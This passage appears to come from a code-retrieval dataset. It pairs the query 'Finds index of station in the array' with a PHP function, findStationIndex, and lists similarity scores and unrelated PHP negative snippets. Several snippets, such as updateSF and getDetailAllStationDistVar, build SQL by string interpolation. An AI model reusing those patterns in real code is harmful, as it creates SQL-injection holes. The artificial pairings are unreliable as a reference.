$this->rechazo_comercio\n\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\tcase 'PAGADO':\n\t\t\t\t$data\t\t= array(\n\t\t\t\t\t'estado_compra_id'\t=> $this->pagado,\n\t\t\t\t\t'pagado'\t\t\t=> true\n\t\t\t\t);\n\t\t\t\tbreak;\n\t\t}\n\n\t\tif ( empty($data) )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$save = $this->save(array(\n\t\t\t'id'\t\t\t\t\t=> $id,\n\t\t\t'detalle_estado'\t\t=> $detalle,\n\t\t\t'aceptado'\t\t\t\t=> $aceptado,\n\t\t\t'reversado'\t\t\t\t=> $reversado\n\t\t) + $data);\n\n\t\treturn (bool) $save;\n\t}", "public function GetIdObsAluno()\n\t{\n\t\treturn $this->_phreezer->GetManyToOne($this, \"observacoes_ibfk_1\");\n\t}", "public function activarEvento($id)\n {\n $sede = Evento::find($id);\n $sede->activo = 'A';\n $sede->save();\n //flash('La categoría ' . $category->name . ' ha sido desactivada de manera exitosa', 'warning');\n return redirect()->route('lista_sedes');\n }", "public function actividad(){\n return $this->belongsTo('agendaInfantil\\Actividad');\n }", "public function getIdEstadoUsuario() {\n\t\treturn $this->idEstadoUsuario;\n\t}", "function act_tipo_entrada(){\n\t\t$u= new Tipo_entrada();\n\t\t$related = $u->from_array($_POST);\n\n\t\t// save with the related objects\n\t\tif($u->save($related))\n\t\t{\n\t\t\techo \"<html> <script>alert(\\\"Se han actualizado los datos del Tipo de Entrada.\\\"); window.location='\".base_url().\"index.php/inicio/acceso/\".$GLOBALS['ruta'].\"/menu';</script></html>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tshow_error(\"\".$u->error->string);\n\t\t}\n\t}", "public function estado($nuevo_estado = null) {\n\t\tif(isset($nuevo_estado)) {\n\t\t\t$this->_estado = $nuevo_estado;\n\t\t\tif(self::ESTADO_BORRADO == $nuevo_estado)\n\t\t\t\t$this->_id = null;\n\t\t}\n\t\treturn $this->_estado;\n\t}", "function siguienteEstadoCotizacion(){\n $this->procedimiento='adq.f_cotizacion_ime';\n $this->transaccion='ADQ_SIGECOT_IME';\n $this->tipo_procedimiento='IME';\n \n //Define los parametros para la funcion\n $this->setParametro('id_cotizacion','id_cotizacion','int4');\n $this->setParametro('operacion','operacion','varchar');\n \n $this->setParametro('id_tipo_estado','id_tipo_estado','integer');\n $this->setParametro('id_funcionario','id_funcionario','integer');\n $this->setParametro('obs','obs','varchar');\n $this->setParametro('fecha_oc','fecha_oc','date');\n \n\n //Ejecuta la instruccion\n $this->armarConsulta();\n $this->ejecutarConsulta();\n\n //Devuelve la respuesta\n return $this->respuesta;\n }", "public function update(Request $request, $id)\n {\n $user = \\Auth::user()->user_red;\n\n $Tipo = Tipo::find($request->id);\n $Tipo ->nombre = $request ->nombre;\n $Tipo ->estado = $request ->estado;\n $Tipo ->justificacion = $request ->justificacion;\n $Tipo ->registro = $user;\n $Tipo -> save();\n\n if($request ->estado==\"Inactivo\"){\n $Proceso=Proceso::orderBy('id','ASC')\n ->select('procesos.*')\n ->where('procesos.FK_Tipo', '=', $request->id)\n ->get();\n\n $Usuario=Usuario::orderBy('id','ASC')\n ->select('users.*')\n ->where('users.FK_Tipo', '=', $request->id)\n ->get();\n\n foreach ($Proceso as $proceso){\n $Proceso = Proceso::find($proceso->id);\n $Proceso ->estado = $request ->estado;\n $Proceso ->justificacion = \"El tipo asociado ha sido inactivado por \".$request ->justificacion;\n $Proceso->save();\n }\n\n foreach ($Usuario as $usuario){\n\n $Responsable = Usuario::find($usuario->id);\n $Responsable ->state = $request ->estado;\n $Responsable ->justificacion = \"El tipo asociado ha sido inactivado por \".$request ->justificacion;\n $Responsable ->registro = $user;\n $Responsable->save();\n }\n\n }else {\n\n $Proceso = Proceso::orderBy('id', 'ASC')\n ->select('procesos.*')\n ->where('procesos.FK_Tipo', '=', $request->id)\n ->get();\n\n $Usuario = Usuario::orderBy('id', 'ASC')\n ->select('users.*')\n ->where('users.FK_Tipo', '=', $request->id)\n ->get();\n\n foreach ($Proceso as $proceso) {\n $Proceso = Proceso::find($proceso->id);\n $Proceso->estado = $request->estado;\n $Proceso->justificacion = \"\";\n $Proceso->save();\n }\n\n foreach ($Usuario as $usuario) {\n\n $Responsable = Usuario::find($usuario->id);\n $Responsable->state = $request->estado;\n $Responsable->justificacion = \"\";\n $Responsable ->registro = $user;\n $Responsable->save();\n }\n }\n\n return redirect()->back();\n\n }", "public function updateSF($Id,$estado,$fecha){\n $sql=\"UPDATE \".self::$tablename.\" SET FechaPago = '{$fecha}',estado = '{$estado}' WHERE Id='{$Id}'\";\n return Executor::doit($sql);\n\n }", "public function habilitar($sId = array()) {\n try {\n\n $cambiarEstado = 1;\n\n if (isset($sId[0])) {\n $actualizar = \"UPDATE cargo SET estado = ? WHERE IdCargo= ? ;\";\n $actualizacion = $this->Conexion->prepare($actualizar);\n $actualizacion = $actualizacion->execute(array($cambiarEstado, $sId[0]));\n return ['actualizacion' => $actualizacion, 'mensaje' => \"Registro Activado.\"];\n }\n } catch (PDOException $pdoExc) {\n return ['actualizacion' => $actualizacion, 'mensaje' => $pdoExc];\n }\n }", "public function list_actividades($prod_id){\n $tabla='';\n $actividades = $this->model_actividad->list_actividad_gestion($prod_id,$this->gestion); /// actividades-Proy Inversion\n \n if(count($actividades)!=0){\n $nro=0;\n foreach($actividades as $row){\n $monto=$this->model_actividad->monto_insumoactividad($row['act_id']);\n $tp='';\n if($row['indi_id']==2){\n $tp='%';\n }\n\n $ptto=0;\n if(count($monto)!=0){\n $ptto=$monto[0]['total'];\n }\n\n $tabla.='\n <tr bgcolor=\"#f5f0f0\">\n <td style=\"height:12px;\"></td>\n <td style=\"width: 2%; text-align: center; font-size: 7.5px;\"></td>\n <td></td>\n <td></td>\n <td></td>\n <td style=\"width: 9%; text-align: left;\"></td>\n <td style=\"width: 9%; text-align: left;\"></td>\n <td style=\"width: 9%; text-align: left;\">'.$row['act_actividad'].'</td>\n <td style=\"width: 9%; text-align: left;\">'.$row['act_indicador'].'</td>\n <td style=\"width: 2%; text-align: center;\">'.round($row['act_linea_base'],2).'</td>\n <td style=\"width: 3%; text-align: center;\" bgcolor=\"#eceaea\">'.round($row['act_meta'],2).'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['enero'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['febrero'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['marzo'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['abril'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['mayo'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['junio'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['julio'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['agosto'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['septiembre'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['octubre'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['noviembre'],2).''.$tp.'</td>\n <td style=\"width: 3%; text-align: center;\">'.round($row['diciembre'],2).''.$tp.'</td>\n <td style=\"width: 9%; text-align: left;\">'.$row['act_fuente_verificacion'].'</td>\n <td style=\"width: 5%; text-align: right;\">'.number_format($ptto, 2, ',', '.').'</td>\n </tr>';\n }\n }\n\n return $tabla;\n }", "static public function mdlEliminarProductoInventario( $tabla, $id){\n\ntry{\n\n \t\t$conn = Conexion::conectar();\n\t\t\n\t\t$conn->beginTransaction();\n \n\n\n\n \t\t$stmt = $conn->prepare(\"UPDATE $tabla SET sincronizado = 0,estado = 0 WHERE id = :id\");\n \n$stmt -> bindParam(\":id\" , $id, PDO::PARAM_INT);\n \t\t\n \t\t\n\t\t$stmt->execute();\n\t\n\n\t\t//UNA VEZ QUE INSERTAMOS EL PRODUCTO , TERMINAMOS INSERTANDO LAS TRANSACCIONES\n\n\t\t$conn->commit();\n \t\t\t//echo'<script>console.log(\"AQUI:'.$lastID.'\");</script>';\n \t\t\treturn \"ok\";\n\n\n\t\t$stmt->close();\n\t\t$stmt = null;\n\n\n\n}\ncatch(Exception $e) {\n \n $conn->rollBack();\n return ($e->getMessage());\n}\n\n\n\n\n\n \t}", "public function estado()\n {\n return $this->belongsTo('App\\Models\\Estados');\n }" ]
[ "0.62779737", "0.5969324", "0.59401876", "0.5783107", "0.5695844", "0.56819177", "0.5670147", "0.5665536", "0.5657428", "0.5642819", "0.5622605", "0.5620276", "0.56175643", "0.5612324", "0.5611702", "0.56001997", "0.55922496", "0.5590539", "0.5569303", "0.5552694", "0.55312043", "0.5525649", "0.5502655", "0.54864943", "0.5482754", "0.54739684", "0.54632545", "0.54413337", "0.5423881", "0.54111195", "0.53774405", "0.53731066", "0.53712565", "0.5364753", "0.53485644", "0.53405887", "0.5336871", "0.53360915", "0.5332773", "0.53326166", "0.5295893", "0.5289535", "0.5284389", "0.5269505", "0.5265155", "0.52599925", "0.5251699", "0.5246665", "0.5245963", "0.5229968", "0.5208209", "0.51966614", "0.51952606", "0.5194694", "0.5191257", "0.51871043", "0.51831853", "0.5176031", "0.5175418", "0.5175418", "0.5170472", "0.5168606", "0.51627856", "0.51610166", "0.5160663", "0.51566535", "0.5154601", "0.5149898", "0.5122749", "0.512086", "0.51156926", "0.510506", "0.5099382", "0.5099301", "0.50950855", "0.5086185", "0.5082364", "0.5075819", "0.50735724", "0.50723964", "0.50714415", "0.5070092", "0.50558114", "0.50558114", "0.5042259", "0.5041209", "0.5037412", "0.5036827", "0.5034795", "0.50233203", "0.50225776", "0.5022511", "0.50170285", "0.5016242", "0.5014799", "0.5012423", "0.5010655", "0.50043225", "0.5001465", "0.49969357" ]
0.6620097
0
Finds index of station in the array
function findStationIndex($checkStationName, $dataArray) { foreach($dataArray as $key => $station) if ($checkStationName == $station["stationName"]) return $key; return -1; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function findArray($array,$item){\n for ($i=0;$i<count($array);$i++){\n if($array[$i]==$item)\n return $i;\n }\n return -1;\n }", "function getIndexOfRegistry($registryNumber, $array) {\n $i = 0;\n\t$index = -1;\n\tfor ($i = 0; $i < sizeof($array); $i++) {\n\t\tif ($array[$i][0] == $registryNumber) {\n\t\t\t$index = $i;\n\t\t\tbreak;\n\t\t}\n\t} \n\treturn $index;\n}", "function search_loc_index($data, $loc)\n{\n\tforeach($data as $d)\n\t{\n\t\tif($d['loc']==$loc) $index=array_search($d,$data);\n\t}\n\tif(!isset($index)) return false;\n\telse return $index;\n}", "function getIndexOfWarmestDay($arr)\n{\n $result;\n $maxElRow = [];\n $indexMax = 0;\n if (count($arr) === 0) {\n return null;\n }\n foreach ($arr as $index => $row) {\n foreach ($row as $value) {\n $maxElement = max($row);\n } $maxElRow[] = $maxElement;\n } var_dump($maxElRow);\n $result = max($maxElRow);\n $indexMax = array_search($result, $maxElRow);\n return $indexMax;\n}", "function getIndex() ;", "function searchIndex($array, $id){\n\t$i = 0;\n\t$length = count($array);\n\t$result = -1;\n\twhile ($i < $length && $array[$i]['id'] != $id){\n\t\t$i++;\n\t}\n\tif($i < $length){\n\t\t$result = $i;\n\t}\n\t\n\treturn $result;\n}", "function search_loc_index_stdcls($data, $loc)\n{\n\tforeach($data as $d)\n\t{\n\t\tif($d->loc==$loc) $index=array_search($d,$data);\n\t}\n\tif(!isset($index)) return false;\n\telse return $index;\n}", "function search($array, $value) {\n // check for empty array\n if (empty($array)) {\n return;\n }\n // iterate through array, looking for the value\n // if value found, return the index.\n for ($i=0; $i < sizeof($array); $i++) { \n if ($value == $array[$i]) {\n return $i;\n }\n }\n}", "private function whichStation() {\n\t\t$stations = @file(Flight::get(\"pathStation\"),FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\n\t\tif (count($stations) >=1 && $stations ) {\n\t\t\t$x = '';\n\t\t\tforeach ($stations as $st) {\n\t\t\t\tif (substr($st,0,1) == '1') {\n\t\t\t\t\t$x = substr($st,1);\n\t\t\t\t\t$x = explode(\" #\",$x);\n\t\t\t\t\t$x = $x[0];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($x == '') {$x = Flight::get(\"defaultStation\");}\n\t\t}\n\t\telse $x = (Flight::get(\"defaultStation\"));\n\t\treturn trim($x);\n\t}", "public function search($array, $value)\n {\n $n = count($array);\n for ($i = 0; $i < $n; $i++) {\n if ($array[$i] == $value) {\n return $i;\n }\n }\n\n return -1;\n }", "function ST_index($ST_key) {\n\t$this->ST_head = $this->ST_indexR($this->ST_head, $ST_key, 0);\n\treturn $this->ST_val;\n\t}", "function search($array, $value)\n{\n $counter = 0;\n $found = false;\n\n foreach($array as $v) {\n if(strcmp($v[0], $value) == 0) {\n $found = true;\n break;\n } \n\n $counter++;\n }\n \n if($found)\n return $counter;\n \n return -1;\n}", "public function indexOf($element)\n {\n return array_search($element, $this->data);\n }", "function indexof($item)\r\n {\r\n $result=-1;\r\n\r\n reset($this->items);\r\n while (list($k,$v)=each($this->items))\r\n {\r\n if ($v===$item)\r\n {\r\n $result=$k;\r\n break;\r\n }\r\n }\r\n\r\n return($result);\r\n }", "function get_index($arr, $selected)\n{\n $ret = false; // return false if not found\n foreach ($arr as $key => $val) {\n if (strtolower(substr($val, 0, strlen($selected))) == strtolower($selected)) {\n $ret = $key;\n break;\n }\n }\n\n return $ret;\n}", "public function indexOf ($item)\n {\n $index = array_search($item, $this->data);\n return $index === false ? -1 : $index;\n }", "function indexOf ($value, $strict = true)\n {\n return array_search ($value, $this->A, $strict);\n }", "public function indexOf($listener){\n\t\t$iterator = $this->getIterator();\n\t\tif($iterator->valid()) do{\n\t\t\t$curr = $iterator->current();\n\t\t\tif($listener === $curr[0]){\n\t\t\t\treturn $iterator->key();\n\t\t\t}\n\t\t\t$iterator->next();\n\t\t}while($iterator->valid());\n\t\treturn false;\n\t}", "public function findPlayerIndex($arr, $player){\n\t\t//var_dump($arr);\n\t\t//echo $player;\n\t\tforeach ($arr as $k => $id) {\n\t\t\tif($id['player_id'] == $player){\n\t\t\t\t$this->key = $k;\n\t\t\t\treturn $this->key;\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t}", "protected function Find_in_STATE($node_num,$element){\t\t\t\t\t\t\t\t\n\t\t\tfor ($i=0; $i < $node_num ; $i++) { \n\t\t\t\t\n\t\t\t\t\tif ($this->STATE[$i]==$element) {\n\t\t\t\t\t\treturn $i;\t\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\treturn null;\n\t\t}", "function pos($array)\n{\n}", "function linear_search($list, $key ) {\n\tfor($i = 0; $i < count($list); $i++) {\n\t\tif($list[$i] == $key) {\n\t\t\treturn $i;\n\t\t}\n\t}\n\treturn -1; \n}", "public function testIndexOf() {\n\t\t$array = array(1, 2, 3, 4, 5);\n\t\t$result = _::indexOf($array, 4);\n\t\t$this->assertEquals(3, $result);\n\n\t\t// test not finding an element's index\n\t\t$result = _::indexOf($array, 6);\n\t\t$this->assertEquals(-1, $result);\n\t}", "public static function indexOf($c, $a){\n\t\tfor($i = count($a) - 1; $i >= 0; $i--)\n\t\t\tif( $a[$i]->equals($c) )\n\t\t\t\treturn $i;\n\t\treturn -1;\n\t}", "public function indexOfObject($object)\n {\n // RsoNumber\n return array_search($object, $this->array);\n }", "abstract protected function getIndex();", "public function getStation()\n {\n return $this->station;\n }", "function search_2d_array($array, $key, $value) {\n\t\tfor ($i = 0; $i < count($array); $i++)\n\t\t{\n\t\t\tif (isset($array[$i][$key])) {\n\t\t\t\tif ($array[$i][$key] == $value) {\n\t\t\t\t\treturn $i;\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t\treturn false;\n }", "public function getSymbolPosition($symbol)\n {\n return array_search($symbol, $this->getSymbolIndex(), true);\n }", "public function getStationID(string $station_name)\n {\n if (substr($station_name, 0, 11) === \"TRADE HUB: \") {\n $station_name = substr($station_name, 11);\n }\n\n $this->db->select('eve_idstation');\n $this->db->where('name', $station_name);\n $query = $this->db->get('station');\n\n if ($query->num_rows() != 0) {\n $result = $query->row();\n } else {\n $result = false;\n }\n\n return $result;\n }", "public function indexOf( $item )\n\t{\n\t\treturn array_search( $item , $this->items );\n\t}", "public function indexOf($value)\n {\n return array_search($value, $this->data, true);\n }", "function searchI1($a, $n, $x)\n{\n \n $last = $a[$n - 1];\n // создаем гарантию что х содержится в списке\n $a[$n - 1] = $x;\n $i = 0;\n while($a[$i] != $x)\n {\n $i++;\n }\n $a[$n - 1] = $last;\n if ($i < ($n - 1) || $a[$n - 1] == $x)\n {\n return $i;\n }\n return -1;\n}", "public function indexOf($value);", "function sa_array_index($ary,$idx){\n if( isset($ary) and isset($idx) and isset($ary[$idx]) ) return $ary[$idx];\n}", "public function indexOf($value)\n {\n $firstIndex = array_search($value, $this->sessionData);\n if ($firstIndex === false) {\n $firstIndex = -1;\n }\n \n return $firstIndex; \n }", "protected function locate($ota, $nta) {//recherche si $ota est inclus dans $nta\n $ok = false;\n $in = false;\n $debut = -1;\n $fin = -1;\n $lota = count($ota);\n $lnta = count($nta);\n if ($lota < $lnta) {\n $oi = 0;\n $ni = 0;\n while ($ni + $lota - $oi <= count($nta) && (!$ok)) {\n //echo $ota[$oi] . '/' . $nta[$ni] . '/' . ($in ? 'in' : 'out') . \"\\n\";\n if ($ota[$oi] == $nta[$ni]) {\n if (!$in) {\n $debut = $ni;\n $in = true;\n $fin = $ni;\n } else {\n $fin = $ni;\n }\n $oi +=1;\n $ok = ($oi == $lota);\n } elseif ($ota[$oi] != $nta[$ni]) {\n if ($in) {\n $debut = -1;\n $in = false;\n $fin = -1;\n $oi = 0;\n }\n }\n $ni +=1;\n //echo $ni . \"::\" . count($nta) . \"::\" . ($ok ? \"ok\" : \"!ok\") . '/' . ($in ? 'in' : 'out') . \"\\n\";\n }\n }\n return array($ok, $debut, $fin);\n }", "public function getStation()\n {\n return $this->_station;\n }", "function getIndex($user){\n return array_search($user,$this->names);\n }", "function search_in_array($array,$field,$search,$retval)\n {\n $cnt = count($array);\n $value = 0;\n for ($i=0; $i < $cnt; $i++) {\n if ($array[$i][$field]==$search) {\n $value = $array[$i][$retval];\n }\n }\n\n return $value;\n }", "public function getNearestStation() {\n return $this->get(self::NEAREST_STATION);\n }", "function array_index_of(iterable $array, callable $pred)\n{\n foreach ($array as $k => $v) {\n if (call_user_func($pred, $v)) {\n return $k;\n }\n }\n}", "function first_index_arr($arr)\n {\n foreach ($arr as $k => $v) return $k;\n }", "protected function get_station( ) {\n// This function is never called. It is here for completeness of documentation.\n\n if (strlen($this->current_group_text) == 4) {\n $this->wxInfo['STATION'] = $this->current_group_text;\n $this->current_ptr++;\n }\n $this->current_group++;\n }", "function searchArray($array,$key,$value,$startingIndex=0) {\n\t$result = false;\n\tif (count($array) ) {\n\t\tfor ($i = $startingIndex; $i <= max(array_keys($array)); $i++) {\n\t\t\tif ( $array[$i][$key] == $value ) {\n\t\t\t\t$result = $i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\treturn $result;\n}", "public function get_pollutant_index($data, $pollutant) \n {\n $indexes = [];\n foreach($data as $key => $value) \n {\n if($key == $pollutant) \n {\n for($i = 0; $i < 13; $i++)\n {\n $indexes[$key][] = isset($value[$i]) ? $this->check_index($key, $value[$i]) : -1;\n }\n }\n }\n return (array_key_exists($pollutant, $indexes) ? $indexes[$pollutant] : array_fill(0, 12, -1));\n }", "public function getStation() {\n\t\t$stations = @file(Flight::get(\"pathStation\"),FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\n\t\tif (count($stations) >=1 && $stations ) {\n\t\t\tforeach ($stations as $station) {\n\t\t\t\t$station = explode(\"#\",$station);\n\t\t\t\t$x = explode(' ',$station[0]);\n\t\t\t\t$entry[] = array('URL'=>rtrim($x[1]),'name'=>ltrim($station[1],\"#\"),'selected'=> $x[0]);\n\t\t\t}\n\t\t\tFlight::json(array('Status' => \"OK\", 'station' => $entry));\n\t\t}\n\t\telse Flight::json(array('Status' => \"KO\", 'station' => 'Not Found'));\n\t}", "private function getIdInArray($array, $term)\n {\n foreach ($array as $key => $value) {\n if ($value == $term) {\n return $key;\n }\n }\n\t\tthrow new UnexpectedValueException;\n }", "function search_own_router($all_nodes, $own_nodes)\n{\n # Deklariere Array\n $own_router_index = array();\n $i = 0;\n foreach ($all_nodes as $node) {\n $node_id = $node['node_id'];\n foreach ($own_nodes as $own_id) {\n if ($own_id == $node_id) {\n array_push($own_router_index, $i);\n }\n }\n $i = $i + 1;\n }\n return $own_router_index;\n}", "function searchStudent($students, $student_lastname) {\n $position = -1;\n for($i=0; $i<sizeof($students); $i++) {\n if ($students[$i]['lastname'] === $student_lastname) {\n $position = $i;\n break; // étudiant trouvé, sortie de boucle\n }\n }\n return $position;\n}", "function search_array($string, $array) {\r\n foreach($array as $entry) {\r\n // searches substring $string in $entry\r\n if (strpos($entry, $string) !== false) {\r\n return $entry;\r\n }\r\n }\r\n }", "function system_getLibPosition($libsArray, $libName) {\n\t\tforeach ($libsArray as $libindex => $lib) {\n\t\t\tif ($lib[\"id\"] == $libName) {\n\t\t\t\treturn $libindex;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "public function indexOf($element)\n {\n return array_search($element, $this->elements, true);\n }", "public static function indexOf($needle, $haystack) { \n for ($i=0;$i<count($haystack);$i++) { \n if ($haystack[$i] == $needle) { \n return $i; \n }\n }\n return -1;\n\t}", "protected function setStationCode(){\n\t\t$result = array(\"sta_code\",\"sta_code\");\n\t\treturn $result;\n\t}", "protected function setStationCode(){\n\t\t$result = array(\"sta_code\",\"sta_code\");\n\t\treturn $result;\n\t}", "function array_nsearch($needle, array $haystack) {\n $it = new IteratorIterator(new ArrayIterator($haystack));\n foreach($it as $key => $val) {\n if(strcasecmp($val,$needle) === 0) {\n return $key;\n }\n }\n return false;\n}", "public function indexOf(mixed $element): string|int|bool;", "function strinarray($searchtext, $dataarray)\r\n{\r\n$i=0;\r\nforeach($dataarray as $linedata) {\r\n if(strstr($linedata,$searchtext)) break;\r\n $i++;\r\n };\r\nreturn $i;\r\n}", "protected function getPlayerIndexMarker(): int\n {\n $ind = 0;\n\n foreach ($this->players as $key => $player) {\n if ($player->marker) {\n $ind = $key;\n\n break;\n }\n }\n\n return $ind;\n }", "function searchArray($string, $array) {\n $result = array_search($string, $array);\n if($result === false) {\n return false;\n } else {\n return true;\n }\n}", "public function indexOf( $item )\n\t\t{\n\t\t\tfor( $i = 0, $count = count( $this->items ); $i < $count; $i++ )\n\t\t\t{\n\t\t\t\tif( $this->items[$i] === $item )\n\t\t\t\t{\n\t\t\t\t\treturn $i;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn -1;\n\t\t}", "public function findClubindex($teamcode)\n\t{\n\t\tforeach($this->teams as $clubindex=>$teams) {\n\t\t\tif (key_exists($teamcode, $teams))\n\t\t\t\treturn $clubindex;\n\t\t}\n\t\t# when not found\n\t\treturn -1;\n\t}", "function binary_search($a){\n\t$c = count($a);\n\treturn binary_search_helper($a,1,$c-1);\n}", "public function indexOfProvider(ProviderInterface $provider): int;", "public function getBrickPosition(Brick $brick)\n {\n return array_search($brick, $this->bricks);\n }", "public function indexOf($thing)\n {\n $key = array_search($thing, $this->hash, true);\n return $key === false ? None() : Some($key);\n }", "function types_get_array_key_search_in_sub( $array, $search ) {\n foreach( $array as $key => $sub_array ) {\n if( in_array( $search, $sub_array ) )\n return $key;\n }\n\n return false;\n}", "function getArrayFirstIndex($arr) {\n\tforeach ($arr as $key => $value)\n\treturn $key;\n}", "function getIfaddrIndex($p_ip) {\n $ifaddrIndex = '';\n foreach ($this->ifaddrs as $index => $oIfaddr) {\n if (is_object($oIfaddr)) { // should always be true\n if ($oIfaddr->getValue('ifaddr')==$p_ip) {\n $ifaddrIndex = $index;\n break;\n }\n }\n }\n return $ifaddrIndex;\n }", "function find($key, &$index, $controller)\r\n\t\t{\r\n\t\t\t$lower = 0;\r\n\t\t\t$upper = count($this->elements) - 1;\r\n\r\n\t\t\twhile($lower <= $upper)\r\n\t\t\t{\r\n\t\t\t\t$index = ($lower + $upper) >> 1;\r\n\t\t\t\t$comparison = $controller->compare($key, $this->elements[$index]->key);\r\n\t\t\t\t\r\n\t\t\t\tif ($comparison < 0)\r\n\t\t\t\t{\r\n\t\t\t\t\t$upper = $index - 1;\r\n\t\t\t\t}\r\n\t\t\t\telse if ($comparison > 0)\r\n\t\t\t\t{\r\n\t\t\t\t\t$lower = $index + 1;\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\treturn $index;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\r\n\t\t\t$index = $lower;\r\n\t\t\treturn false;\r\n\t\t}", "public function dayIndex($str)\n\t{\n\t\t$str = preg_replace(\"/[^A-Z]/i\",\"\", trim($str));\n\t\tif (isset($this->dayTokenMap[$str]))\n\t\t{\n\t\t\treturn $this->dayTokenMap[$str];\n\t\t}\n\t\treturn 0;\n\t}", "function check_index($pollutant, $value) \n {\n for($i = 0; $i < count($this->quality_ranges[$pollutant]); $i++)\n {\n $range = $this->quality_ranges[$pollutant][$i];\n if($value > $range[0] && $value < $range[1])\n {\n return $i;\n }\n }\n return -1;\n }", "function __array_strpos($arr, $needle, $reverse = false) {\n\t\tif (!is_array($arr) || empty($arr)) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif ($reverse) {\n\t\t\t$arr = array_reverse($arr, true);\n\t\t}\n\n\t\tforeach ($arr as $key => $val) {\n\t\t\tif (strpos($val, $needle) !== false) {\n\t\t\t\treturn $key;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "public static function linearSearch($collection, $value)\n {\n for ($i = 0; $i < sizeof($collection); $i++) {\n if ($collection[$i] == $value) {\n return $i;\n }\n }\n return -1;\n }", "public function selectStation($station) {\n\t\t$stations = @file(Flight::get(\"pathStation\"),FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\n\t\tif (count($stations) >=1 && $stations ) {\n\t\t\t$i=0;\n\t\t\t$x = [];\n\t\t\tforeach ($stations as $st) {\n\t\t\t\tif ($station == $i) {$x[] = '1'.substr($st,1);}\n\t\t\t\telse {$x[] = '0'.substr($st,1);}\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t$str = implode(\"\\n\", $x);\n\t\t\tfile_put_contents(Flight::get(\"pathStation\"), $str);\n\t\t\t// if radio is running, restart it with new station\n\t\t\tif (self::isAudioRunning()) {\n\t\t\t\tself::stopRadio();\n\t\t\t\tself::startRadio();\n\t\t\t}\n\t\t\tFlight::json(array('Status' => 'OK','Station' => $station));\n\t\t}\n\t\telse Flight::json(array('Status' => \"KO\", 'station' => 'Not Found'));\n\t}", "public function getIndex();", "public function getIndex();", "public function getIndex();", "private function findTranslationId($segment)\n {\n return array_search($segment, (array) $this->trans());\n }", "function recherche($elem,$tab){\n if(!is_array($tab)){\n // on lève une exception\n throw new Exception(\"Vous devez envoyer un tableau !\"); //Exception c'est une classe\n }\n return array_search($elem,$tab);\n}", "function findFirstThingAtTime(&$haystack, $time, $key = \"time\") {\n if (isset($haystack[0])) $index = 0;\n else $index = 1;\n \n while ($haystack[$index][$key] < $time) {\n if (isset($haystack[$index+1])) $index++;\n else return false;\n }\n return $index;\n}", "function getClosest($search, $array) {\n foreach ($array as &$item) {\n if ($search > $item && $search <= current($array)) {\n return current($array);\n }\n else if ($search <= $item) {\n return $item;\n } \n }\n}", "protected function get_station_type( ) {\n if ($this->current_group_text == 'AUTO' || $this->current_group_text == 'COR') {\n $this->wxInfo['CODE_STATION_TYPE'] = $this->current_group_text;\n $this->varConcatenate($this->wxInfo, 'IGNORES', $this->current_group_text);\n $this->current_ptr++;\n }\n $this->current_group++;\n }", "private function getIdInArray($array, $term)\n\t{\n\t\tforeach ($array as $key => $value) {\n\t\t\tif ($value == $term) {\n\t\t\t\treturn $key;\n\t\t\t}\n\t\t}\n\n\t\tthrow new UnexpectedValueException;\n\t}", "private function getIdInArray($array, $term)\n\t{\n\t\tforeach ($array as $key => $value) {\n\t\t\tif ($value == $term) {\n\t\t\t\treturn $key;\n\t\t\t}\n\t\t}\n\n\t\tthrow new UnexpectedValueException;\n\t}", "public function indexForBuckleType($type)\n {\n $types = array(\n '1'=>'Other',\n '2'=>'3mm sponge',\n '3'=>'4mm sponge',\n '4'=>'5mm sponge',\n '5'=>'7mm sponge',\n '6'=>'276',\n '7'=>'277',\n '8'=>'279',\n '9'=>'280',\n '10'=>'40 band',\n '11'=>'240 band');\n //$types = $this.buckleArray();\n \n return array_search($type, $types);\n \n }", "function indexOccurancesOfStringInArray($arr, $str)\n{\n\t$indexs = [];\n\tforeach ($arr as $i => $val) {\n\t\tif ($val === $str) {\n\t\t\t$indexs[] = $i;\n\t\t}\n\t}\n\treturn $indexs;\n}", "static function first_available_key($array){\n\t\tif(!is_array($array)){\n\t\t\treturn 0;\n\t\t}\n\t\t$key = 0;\n\t\tksort($array);\n\t\tforeach($array as $k=>$v){\n\t\t\tif($k != $key){\n\t\t\t\treturn $key;\n\t\t\t}\n\t\t\t$key++;\n\t\t}\n\t\treturn $key;\n\t}", "function getDetailAllStationDistVar($account_id_local1,$station_type1,$DbConnection)\n{\n $query=\"SELECT station_id,customer_no FROM station USE INDEX(stn_type_uaid_status) WHERE user_account_id='$account_id_local1' AND type='$station_type1' AND status='1'\";\n //echo \"query=\".$query.\"<br>\";\n $result=mysql_query($query,$DbConnection);\n 